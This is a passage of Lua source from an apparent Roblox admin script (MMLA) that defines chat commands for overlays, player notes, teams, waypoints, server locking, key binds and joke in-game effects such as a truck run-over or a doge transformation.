7577 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7578 for _,Player in pairs(Players) do
7579 if Player.Character and Player.Character:FindFirstChild("Head") then
7580 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7581 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7582 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7583 end
7584 end
7585 end};
7586
7587 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7588 local Players = STRING:Scan(Arguments[1], Speaker)
7589 for _,Player in pairs(Players) do
7590 if Player.Character and Player.Character:FindFirstChild("Head") then
7591 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7592 end
7593 end
7594 end};
7595
7596 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7597 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7598 end, Http = true};
7599
7600 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Sends string as a packet to the owner remotely", 0, "Admin", false, function(Speaker, Rank, Arguments)
7601 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7602 end, Http = true};
7603
7604 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7605 local Players = STRING:Scan(Arguments[1], Speaker)
7606 for _,Player in pairs(Players) do
7607 local ExistingData = Player:LoadInstance("Data")
7608 if ExistingData == nil then
7609 ExistingData = Instance.new("Configuration")
7610 end
7611 ExistingData.Name = "Player Data"
7612 local Key = Instance.new("Configuration", ExistingData)
7613 Key.Name = Arguments[2]
7614 Player:SaveInstance("Data", ExistingData)
7615 end
7616 end};
7617
7618 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7619 local Players = STRING:Scan(Arguments[1], Speaker)
7620 local Data = Arguments[2]
7621 for _,Player in pairs(Players) do
7622 local ExistingData = Player:LoadInstance("Data")
7623 if ExistingData ~= nil then
7624 if string.lower(Data) == "all" then
7625 ExistingData:ClearAllChildren()
7626 else
7627 for _,DataObj in pairs(ExistingData:GetChildren()) do
7628 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7629 DataObj:Destroy()
7630 end
7631 end
7632 end
7633 end
7634 Player:SaveInstance("Data", ExistingData)
7635 end
7636 end};
7637
7638 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7639 local Players = STRING:Scan(Arguments[1], Speaker)
7640 local DataSet = {}
7641 for _,Player in pairs(Players) do
7642 local ExistingData = Player:LoadInstance("Data")
7643 if ExistingData ~= nil then
7644 if #ExistingData:GetChildren() ~= 0 then
7645 for _,Data in pairs(ExistingData:GetChildren()) do
7646 table.insert(DataSet, Player.Name..": "..Data.Name)
7647 end
7648 else
7649 table.insert(DataSet, "Data does not exist for "..Player.Name)
7650 end
7651 else
7652 table.insert(DataSet, "Data does not exist for "..Player.Name)
7653 end
7654 end
7655 GUI:ListGui(Speaker, "Notes", DataSet)
7656 end};
7657
7658 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7659 local Players = STRING:Scan(Arguments[1], Speaker)
7660 for _,Player in pairs(Players) do
7661 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7662 Player.Character.Humanoid.WalkSpeed = 16
7663 end
7664 end
7665 end};
7666
7667 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7668 local Players = STRING:Scan(Arguments[1], Speaker)
7669 for _,Player in pairs(Players) do
7670 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7671 Player.Character.Humanoid.WalkSpeed = -16
7672 end
7673 end
7674 end};
7675
7676 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7677 local TeamColor = BrickColor.random()
7678 local TeamName = Arguments[1]
7679 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7680 if #TeamNameSplit >= 2 then
7681 local Color = TeamNameSplit[1]
7682 local NewTeamName = TeamNameSplit[2]
7683 if Color == "Medium stone grey" then
7684 TeamColor = BrickColor.new(Color)
7685 TeamName = NewTeamName
7686 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7687 TeamColor = BrickColor.new(Color)
7688 TeamName = NewTeamName
7689 elseif Colors[string.upper(Color)] then
7690 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7691 TeamName = NewTeamName
7692 end
7693 end
7694
7695 local NewTeam = Instance.new("Team", Server.Teams)
7696 NewTeam.TeamColor = TeamColor
7697 NewTeam.Name = TeamName
7698 end};
7699
7700 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7701 local Players = STRING:Scan(Arguments[1], Speaker)
7702 for _,Player in pairs(Players) do
7703 Player.Neutral = true
7704 end
7705 end};
7706
7707 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7708 local Players = STRING:Scan(Arguments[1], Speaker)
7709 if string.lower(Arguments[2]) == "none" then
7710 for _,Player in pairs(Players) do
7711 Player.Neutral = true
7712 end
7713 else
7714 for _,Obj in pairs(Server.Teams:GetChildren()) do
7715 if Obj:IsA("Team") then
7716 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7717 for _,Player in pairs(Players) do
7718 Player.Neutral = false
7719 Player.TeamColor = Obj.TeamColor
7720 end
7721 end
7722 end
7723 end
7724 end
7725 end};
7726
7727 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7728 for _,Obj in pairs(Server.Teams:GetChildren()) do
7729 if Obj:IsA("Team") then
7730 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7731 for _,Player in pairs(Server.Players:GetPlayers()) do
7732 if Player.TeamColor == Obj.TeamColor then
7733 Player.Neutral = true
7734 end
7735 end
7736 Obj:Destroy()
7737 end
7738 end
7739 end
7740 end};
7741
7742 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
7743 for _,Player in pairs(Server.Players:GetPlayers()) do
7744 Player.Neutral = true
7745 end
7746 for _,Obj in pairs(Server.Teams:GetChildren()) do
7747 if Obj:IsA("Team") then
7748 Obj:Destroy()
7749 end
7750 end
7751 end};
7752
7753 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
7754 for _,Player in pairs(Server.Players:GetPlayers()) do
7755 GUI:Countdown(Player, Arguments[1])
7756 end
7757 end};
7758
7759 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
7760 local Players = STRING:Scan(Arguments[1], Speaker)
7761 for _,Player in pairs(Players) do
7762 if Player:FindFirstChild("Backpack") then
7763 CORE:ExecuteResource("ShowAd", Player.Backpack)
7764 end
7765 end
7766 end};
7767
7768 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
7769 local Players = STRING:Scan(Arguments[1], Speaker)
7770 for _,Player in pairs(Players) do
7771 if Player.Character then
7772 for PosName,WP in pairs(Waypoints) do
7773 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
7774 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
7775 break
7776 end
7777 end
7778 end
7779 end
7780 end};
7781
7782 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
7783 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
7784 end};
7785
7786 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7787 local Num = 0
7788 for PosName,WP in pairs(Waypoints) do
7789 Num = Num + 1
7790 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
7791 Waypoints[PosName] = nil
7792 end
7793 end
7794 end};
7795
7796 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
7797 local WaypointHolder,WaypointRaw = {},{}
7798 for Name, WP in pairs(Waypoints) do
7799 local View = Name..": "..tostring(WP)
7800 table.insert(WaypointHolder, View)
7801 WaypointRaw[View] = WP
7802 end
7803 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
7804 Clicked.Event:connect(function(Text)
7805 local Waypoint = WaypointRaw[Text]
7806 if Waypoint then
7807 if Speaker.Character then
7808 Speaker.Character:MoveTo(Waypoint)
7809 end
7810 end
7811 end)
7812 end};
7813
7814 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
7815 local Players = STRING:Scan(Arguments[1], Speaker)
7816 local List = {}
7817 for _,Player in pairs(Players) do
7818 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
7819 end
7820 GUI:ListGui(Speaker, "Listed Players", List)
7821 end};
7822
7823 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
7824 if tonumber(Arguments[1]) then
7825 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
7826 else
7827 local Players = STRING:Scan(Arguments[1], Speaker)
7828 for _,Player in pairs(Players) do
7829 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
7830 end
7831 end
7832 end};
7833
7834 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
7835 local Players = STRING:Scan(Arguments[1], Speaker)
7836 local Friends,OneFriend = {}, false
7837 for _,Player in pairs(Players) do
7838 for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then
7839 --[[if Player:IsBestFriendsWith(User.UserId) then
7840 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
7841 OneFriend = true
7842 ]]
7843 if Player:IsFriendsWith(User.UserId) then
7844 table.insert(Friends, Player.Name.." is friends with "..User.Name)
7845 OneFriend = true
7846 end
7847 if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then
7848 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
7849 end
7850 end end
7851 end
7852 GUI:ListGui(Speaker, "Friend List", Friends)
7853 end};
7854
7855 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7856 Settings.ServerLocked = true
7857 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
7858 end};
7859
7860 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7861 Settings.ServerLocked = false
7862 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
7863 end};
7864
7865 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
7866 local OldAge = Settings.MinimumAge
7867 local Age = tostring(Arguments[1])
7868 if Age then
7869 Settings.MinimumAge = Age
7870 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
7871 end
7872 end};
7873
7874 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7875 if Settings.VIPAdminID <= 1 then
7876 MARKET:PromptPurchase(Speaker, VIPAdminID)
7877 else
7878 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
7879 end
7880 end};
7881
7882 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7883 if Settings.VIPMemberID <= 1 then
7884 MARKET:PromptPurchase(Speaker, VIPMemberID)
7885 else
7886 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
7887 end
7888 end};
7889
7890 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
7891 if tonumber(Arguments[2]) then
7892 local Players = STRING:Scan(Arguments[1], Speaker)
7893 local Size = tonumber(Arguments[2])+25
7894 for _,Player in pairs(Players) do
7895 if Player.Character then
7896 if Player.Character:FindFirstChild("Head") then
7897 if Player.Character.Head:FindFirstChild("Mesh") then
7898 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
7899 end
7900 end
7901 end
7902 end
7903 end
7904 end};
7905
7906 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7907 local Players = STRING:Scan(Arguments[1], Speaker)
7908 for _,Player in pairs(Players) do
7909 if Player.Character and Player.Character:FindFirstChild("Torso") then
7910 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
7911 Player.Character.Parent = nil
7912 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
7913 end
7914 end
7915 end};
7916
7917 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
7918 GUI:SettingsGui(Speaker)
7919 end};
7920
7921 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7922 if tonumber(Arguments[2]) then
7923 local Players = STRING:Scan(Arguments[1], Speaker)
7924 local List = {}
7925 for _,Player in pairs(Players) do
7926 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
7927 table.insert(List, Player.Name)
7928 end
7929 end
7930 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
7931 end
7932 end};
7933
7934 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
7935 local Players = STRING:Scan(Arguments[1], Speaker)
7936 for _,Player in pairs(Players) do
7937 if Player.Character and Player.Character:FindFirstChild("Head") then
7938 local Char = Player.Character
7939 Char:BreakJoints()
7940 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
7941 Obj.Anchored = true
7942 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
7943 local Decal = Instance.new("Decal", Obj)
7944 Decal.Texture = "rbxassetid://178913323"
7945 Decal.Face = Face
7946 end
7947 end)
7948 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
7949 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
7950 Sound1:Play() Sound2:Play()
7951 coroutine.wrap(function()
7952 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
7953 repeat wait()
7954 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
7955 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
7956 Obj.Transparency = math.random(0,30)/100
7957 Obj.Reflectance = math.random(0,50)/100
7958 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
7959 end)
7960 until Char ~= Player.Character or Char.Parent == nil
7961 end)()
7962 end
7963 end
7964 end, Hidden = true};
7965
7966 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
7967 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
7968 end, Http = true};
7969
7970 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
7971 local Players = STRING:Scan(Arguments[1], Speaker)
7972 for _,Player in pairs(Players) do
7973 if Player.Character then
7974 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7975 Obj.Material = "Neon"
7976 end)
7977 end
7978 end
7979 end};
7980
7981 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7982 local Players = STRING:Scan(Arguments[1], Speaker)
7983 for _,Player in pairs(Players) do
7984 if Player.Character then
7985 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
7986 Obj.Material = "Plastic"
7987 end)
7988 end
7989 end
7990 end};
7991
7992 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
7993 local Players = STRING:Scan(Arguments[1], Speaker)
7994 for _,Player in pairs(Players) do
7995 if Player.Character then
7996 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
7997 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
7998 end)
7999 end
8000 end
8001 end, Hidden = true};
8002
8003 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8004 local Players = STRING:Scan(Arguments[1], Speaker)
8005 for _,Player in pairs(Players) do
8006 if Player.Character and Player.Character:FindFirstChild("Torso") then
8007 local Pos = Player.Character.Torso.Position
8008 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8009 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8010 if Answer == "Ok" then
8011 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8012 end
8013 end
8014 end
8015 end};
8016
8017 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8018 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8019 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8020 if PlayersFrom and PlayersTo then
8021 for _,PlayerFrom in pairs(PlayersFrom) do
8022 for _,PlayerTo in pairs(PlayersTo) do
8023 if PlayerFrom.Character and PlayerTo.Character then
8024 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8025 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8026 wait(5)
8027 Laser:Destroy()
8028 end)() end
8029 end
8030 end
8031 end
8032 end
8033 end};
8034
8035 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8036 local Players = STRING:Scan(Arguments[1], Speaker)
8037 for _,Player in pairs(Players) do
8038 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8039 Player.Character.Humanoid:Destroy()
8040 end
8041 end
8042 end};
8043
8044 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8045 if Plugins then
8046 local List = {}
8047 for _,Module in pairs(Plugins:GetChildren()) do
8048 if Module:IsA("ModuleScript") then
8049 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8050 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8051 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8052 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8053 end
8054 end
8055 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8056 else
8057 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8058 end
8059 end};
8060
8061 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8062 local Players = STRING:Scan(Arguments[1], Speaker)
8063 for _,Player in pairs(Players) do
8064 GUI:DetachChat(Player)
8065 end
8066 end};
8067
8068 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8069 GUI:DetachChat(Speaker)
8070 end};
8071
8072 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8073 local Players = STRING:Scan(Arguments[1], Speaker)
8074 for _,Player in pairs(Players) do
8075 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8076 local Dead = false
8077
8078 Player.Character.Humanoid.WalkSpeed = 1
8079 local Torso = Player.Character.Torso
8080 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8081 Truck:BreakJoints()
8082 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8083 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8084 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8085 Truck.Touched:connect(function(Part)
8086 if Dead == false then
8087 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8088 if TouchPlayer == Player then
8089 Dead = true
8090 Player.Character:BreakJoints()
8091 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8092 end
8093 end
8094 end)
8095 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8096 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8097 Delay(5, function()
8098 Truck:Destroy()
8099 if Player.Character:FindFirstChild("Humanoid") then
8100 Player.Character.Humanoid.WalkSpeed = 16
8101 end
8102 end)
8103 end
8104 end
8105 end};
8106
8107 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8108 local Joke = REMOTE:DownloadJoke(Speaker)
8109 local Players = STRING:Scan(Arguments[1], Speaker)
8110 for _,Player in pairs(Players) do
8111 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8112 end
8113 end, Http = true};
8114
8115 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8116 local Joke = REMOTE:DownloadJoke(Speaker)
8117 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8118 end, Http = true};
8119
8120 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8121 local Players = STRING:Scan(Arguments[1], Speaker)
8122 for _,Player in pairs(Players) do
8123 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8124 CORE:InvisiblePlayer(Player)
8125 local DogContainer = Instance.new("Model", Player.Character)
8126 DogContainer.Name = "Doge"
8127 local Dog = CORE:Insert(257489726, DogContainer, true)
8128 Dog.Head.Transparency = 0.99
8129 Dog.Name = Player.Name
8130 Dog:MoveTo(Player.Character.Torso.Position)
8131 local Weld = Instance.new("Weld", Dog.Torso)
8132 Weld.Part0 = Player.Character.Torso
8133 Weld.Part1 = Dog.Torso
8134 Weld.C0 = CFrame.new(0,-0.4,0)
8135 for _,Obj in pairs(Dog:GetChildren()) do
8136 if Obj:IsA("BasePart") then
8137 Obj.CanCollide = false
8138 end
8139 end
8140
8141 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8142 end
8143 end
8144 end};
8145
8146 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8147 local Key = string.lower(string.sub(Arguments[1],1,1))
8148 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8149 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8150 end};
8151
8152 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8153 local Key = string.lower(string.sub(Arguments[1],1,1))
8154 KeyBinds[Speaker.UserId][Key] = nil
8155 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8156 end};
8157
8158 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8159 KeyBinds[Speaker.UserId] = {}
8160 GUI:SendHint(Speaker, "Unbinded all keys")
8161 end};
8162
8163 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8164 local Players = STRING:Scan(Arguments[1], Speaker)
8165 local Key = string.lower(string.sub(Arguments[2],1,1))
8166 for _,Player in pairs(Players) do
8167 KeyBinds[Player.UserId][Key] = Arguments[3]
8168 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8169 end
8170 end};
8171
8172 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8173 local Players = STRING:Scan(Arguments[1], Speaker)
8174 local Key = string.lower(string.sub(Arguments[2],1,1))
8175 for _,Player in pairs(Players) do
8176 KeyBinds[Player.UserId][Key] = nil
8177 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8178 end
8179 end};
8180
8181 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8182 local Players = STRING:Scan(Arguments[1], Speaker)
8183 for _,Player in pairs(Players) do
8184 KeyBinds[Player.UserId] = {}
8185 GUI:SendHint(Player, "Unbinded all keys")
8186 end
8187 end};
8188
8189 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8190 local Players = STRING:Scan(Arguments[1], Speaker)
8191 local Binds = {}
8192 for _,Player in pairs(Players) do
8193 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8194 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8195 end
8196 end
8197 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8198 end};
8199
8200 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8201 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8202 local Players = STRING:Scan(ChatSplit[1], Speaker)
8203 for _,Player in pairs(Players) do
8204 if Crowns[Player.UserId] then
8205 Crowns[Player.UserId]:Destroy()
8206 Crowns[Player.UserId] = nil
8207 wait()
8208 end
8209 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8210 end
8211 end};
8212
